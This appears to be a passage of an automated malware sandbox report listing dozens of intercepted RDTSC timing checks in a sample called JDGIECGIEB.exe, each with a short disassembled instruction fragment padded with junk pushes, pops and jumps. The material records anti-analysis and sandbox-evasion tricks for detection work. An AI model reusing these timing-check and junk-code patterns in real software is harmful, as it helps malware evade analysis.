Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3528CB second address: 3528DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BCFh 0x00000009 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352B4A second address: 352B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352B50 second address: 352B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 352B58 second address: 352B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35337E second address: 353384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 353384 second address: 353388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 353388 second address: 35338E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35338E second address: 3533C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F44646ECA5Fh 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F44646ECA4Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3533C4 second address: 3533D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BCEh 0x00000009 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347AEF second address: 347AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F44646ECA46h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347AF9 second address: 347B30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCDh 0x00000007 jmp 00007F4465131BCCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jmp 00007F4465131BD6h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347B30 second address: 347B64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA54h 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44646ECA51h 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347B64 second address: 347B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347B6B second address: 347B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347B71 second address: 347B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 347B75 second address: 347B91 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F44646ECA4Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F44646ECA46h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 321FF0 second address: 321FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 321FF4 second address: 322008 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F44646ECA4Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 322008 second address: 322010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35CDA9 second address: 35CDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35CDAD second address: 35CDB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D3A1 second address: 35D3B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D3B2 second address: 35D3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D3B7 second address: 35D3BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D3BC second address: 35D3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D3C2 second address: 35D3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35BCB8 second address: 35BCBD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35BCBD second address: 35BCCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35BCCB second address: 35BCD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4465131BC6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35BCD5 second address: 35BCD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D519 second address: 35D51E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D51E second address: 35D54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44646ECA50h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e jl 00007F44646ECA4Ch 0x00000014 je 00007F44646ECA46h 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 35D6CC second address: 35D6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 361F92 second address: 361F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36152F second address: 361537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 361537 second address: 361552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F44646ECA52h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 361C5E second address: 361C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 361C64 second address: 361C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44646ECA57h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 361C86 second address: 361C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 361DEB second address: 361E34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA53h 0x00000007 jmp 00007F44646ECA4Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F44646ECA53h 0x00000014 jmp 00007F44646ECA4Fh 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363D7A second address: 363D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363D7E second address: 363D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363D82 second address: 363D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363E66 second address: 363E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363E70 second address: 363EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jno 00007F4465131BDBh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jnp 00007F4465131BD8h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnp 00007F4465131BC6h 0x00000021 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363EA6 second address: 363EAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363EAA second address: 363ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F4465131BDAh 0x00000012 jmp 00007F4465131BD4h 0x00000017 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363ED0 second address: 363F27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F44646ECA50h 0x0000000f call 00007F44646ECA49h 0x00000014 jmp 00007F44646ECA57h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c je 00007F44646ECA4Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363F27 second address: 363F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363F2B second address: 363F44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA55h 0x00000009 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363F44 second address: 363F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363F60 second address: 363F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363F64 second address: 363F72 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 363F72 second address: 363FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007F44646ECA4Ah 0x0000000f jnc 00007F44646ECA5Dh 0x00000015 jmp 00007F44646ECA57h 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 pop eax 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36418A second address: 36418E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36418E second address: 364192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36433C second address: 364340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 364340 second address: 364346 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 364AD3 second address: 364ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 364ADF second address: 364AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 364C55 second address: 364C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 364C59 second address: 364C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 364F33 second address: 364F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 365109 second address: 36510F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36520E second address: 365214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 365214 second address: 365224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F44646ECA46h 0x00000010 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36562C second address: 365632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3656D3 second address: 3656E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F44646ECA46h 0x00000011 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3656E4 second address: 3656ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 365FE9 second address: 36604F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx esi, di 0x00000011 mov esi, ecx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F44646ECA48h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f xor dword ptr [ebp+122D2FCDh], eax 0x00000035 push 00000000h 0x00000037 call 00007F44646ECA4Bh 0x0000003c call 00007F44646ECA4Bh 0x00000041 clc 0x00000042 pop edi 0x00000043 pop edi 0x00000044 mov di, cx 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a jne 00007F44646ECA4Ch 0x00000050 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36604F second address: 36607D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F4465131BD9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 ja 00007F4465131BC6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3679D0 second address: 367A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F44646ECA4Ch 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F44646ECA4Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F44646ECA51h 0x00000019 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 367A06 second address: 367A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 367A0A second address: 367A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a sbb si, A2E2h 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+12448CA4h], eax 0x00000017 mov dword ptr [ebp+122D27A0h], ebx 0x0000001d xchg eax, ebx 0x0000001e jmp 00007F44646ECA4Fh 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 367A3E second address: 367A48 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4465131BC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 369A18 second address: 369A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36A3F0 second address: 36A416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4465131BC6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F4465131BD0h 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F4465131BC6h 0x0000001b rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36A416 second address: 36A4A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F44646ECA4Fh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F44646ECA48h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D1E6Ah] 0x00000032 mov edi, dword ptr [ebp+122D3015h] 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007F44646ECA48h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 mov dword ptr [ebp+12442E01h], edi 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36A4A0 second address: 36A4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36683A second address: 36684A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jne 00007F44646ECA4Eh 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36E8DC second address: 36E8E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36E8E2 second address: 36E938 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, dword ptr [ebp+122D38DEh] 0x00000015 je 00007F44646ECA47h 0x0000001b cld 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D3A9Ah] 0x00000024 push 00000000h 0x00000026 movsx edi, cx 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b jng 00007F44646ECA48h 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 push eax 0x00000034 jmp 00007F44646ECA50h 0x00000039 pop eax 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F44646ECA4Ch 0x00000044 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 36F7FE second address: 36F861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F4465131BC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F4465131BC8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov edi, ebx 0x0000002f push 00000000h 0x00000031 mov edi, dword ptr [ebp+122D36F5h] 0x00000037 xchg eax, esi 0x00000038 jmp 00007F4465131BCBh 0x0000003d push eax 0x0000003e pushad 0x0000003f jmp 00007F4465131BD2h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Documents\JDGIECGIEB.exe	RDTSC instruction interceptor: First address: 3706EB second address: 3706EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
